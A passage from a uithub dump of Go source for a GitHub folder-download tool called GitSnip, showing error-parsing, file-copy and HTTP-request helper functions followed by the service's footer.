403: if strings.Contains(loweredBody, "rate limit exceeded") { appErr.Err = ErrRateLimitExceeded appErr.Message = "GitHub API rate limit exceeded" appErr.Hint = "Use --token flag to provide a GitHub token to increase rate limits" } else { appErr.Err = ErrAuthenticationRequired appErr.Message = "Access forbidden to this repository or resource" appErr.Hint = "Check that your token has the correct permissions" } case 404: if strings.Contains(loweredBody, "not found") { appErr.Err = ErrRepositoryNotFound appErr.Message = "Repository or path not found" appErr.Hint = "Check that the repository URL and path are correct" } else { appErr.Err = ErrPathNotFound appErr.Message = "Path not found in repository" appErr.Hint = "Check that the folder path exists in the specified branch" } default: appErr.Err = errors.New(body) appErr.Message = fmt.Sprintf("GitHub API error (%d): %s", statusCode, body) } return &appErr } func ParseGitError(err error, stderr string) error { loweredStderr := strings.ToLower(stderr) var appErr AppError appErr.Err = ErrGitCommandFailed switch { case strings.Contains(loweredStderr, "repository not found"): appErr.Err = ErrRepositoryNotFound appErr.Message = "Repository not found" appErr.Hint = "Check that the repository URL is correct" case strings.Contains(loweredStderr, "could not find remote branch") || strings.Contains(loweredStderr, "pathspec") && strings.Contains(loweredStderr, "did not match"): appErr.Err = ErrPathNotFound appErr.Message = "Branch or reference not found" appErr.Hint = "Check that the branch name or reference exists in the repository" case strings.Contains(loweredStderr, "authentication failed") || strings.Contains(loweredStderr, "authorization failed") || strings.Contains(loweredStderr, "could not read from remote repository"): appErr.Err = ErrAuthenticationRequired appErr.Message = "Authentication required to access this repository" appErr.Hint = "Use --token flag to provide a GitHub token with appropriate permissions" case strings.Contains(loweredStderr, "failed to connect") || strings.Contains(loweredStderr, "could not resolve host"): appErr.Err = ErrNetworkFailure appErr.Message = "Failed to connect to remote repository" appErr.Hint = "Check your internet connection and try again" default: appErr.Err = err appErr.Message = fmt.Sprintf("Git operation failed: %v", err) if stderr != "" { appErr.Hint = fmt.Sprintf("Git error output: %s", stderr) } } return &appErr } ``` ## /internal/util/fs.go ```go path="/internal/util/fs.go" package util import ( "fmt" "io" "os" "path/filepath" ) func EnsureDir(path string) error { return os.MkdirAll(path, 0755) } func FileExists(path string) bool { info, err := os.Stat(path) if os.IsNotExist(err) { return false } return !info.IsDir() } func SaveToFile(path string, content io.Reader) error { dir := filepath.Dir(path) if err := EnsureDir(dir); err != nil { return fmt.Errorf("failed to create directory %s: %w", dir, err) } file, err := os.Create(path) if err != nil { return fmt.Errorf("failed to create file %s: %w", path, err) } defer file.Close() _, err = io.Copy(file, content) if err != nil { return fmt.Errorf("failed to write to file %s: %w", path, err) } return nil } func CopyDirectory(src, dst string) error { srcInfo, err := os.Stat(src) if err != nil { return fmt.Errorf("failed to stat source directory: %w", err) } if err := EnsureDir(dst); err != nil { return fmt.Errorf("failed to create destination directory: %w", err) } if err := os.Chmod(dst, srcInfo.Mode()); err != nil { return fmt.Errorf("failed to set permissions on destination directory: %w", err) } entries, err := os.ReadDir(src) if err != nil { return fmt.Errorf("failed to read source directory: %w", err) } for _, entry := range entries { srcPath := filepath.Join(src, entry.Name()) dstPath := filepath.Join(dst, entry.Name()) if entry.IsDir() { if err := CopyDirectory(srcPath, dstPath); err != nil { return err } } else { if err := CopyFile(srcPath, dstPath); err != nil { return err } } } return nil } func CopyFile(src, dst string) error { srcFile, err := os.Open(src) if err != nil { return fmt.Errorf("failed to open source file: %w", err) } defer srcFile.Close() srcInfo, err := srcFile.Stat() if err != nil { return fmt.Errorf("failed to stat source file: %w", err) } dstDir := filepath.Dir(dst) if err := EnsureDir(dstDir); err != nil { return fmt.Errorf("failed to create destination directory: %w", err) } dstFile, err := os.Create(dst) if err != nil { return fmt.Errorf("failed to create destination file: %w", err) } defer dstFile.Close() if _, err = io.Copy(dstFile, srcFile); err != nil { return fmt.Errorf("failed to copy file content: %w", err) } if err := os.Chmod(dst, srcInfo.Mode()); err != nil { return fmt.Errorf("failed to set permissions on destination file: %w", err) } return nil } ``` ## /internal/util/http.go ```go path="/internal/util/http.go" package util import ( "net/http" "time" ) const ( UserAgent = "GitSnip/1.0" DefaultTimeout = 30 * time.Second ) func NewHTTPClient(token string) *http.Client { client := &http.Client{ Timeout: DefaultTimeout, } return client } func NewGitHubRequest(method, url string, token string) (*http.Request, error) { req, err := http.NewRequest(method, url, nil) if err != nil { return nil, err } req.Header.Set("User-Agent", UserAgent) req.Header.Set("Accept", "application/vnd.github.v3+json") if token != "" { req.Header.Set("Authorization", "token "+token) } return req, nil } ``` The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.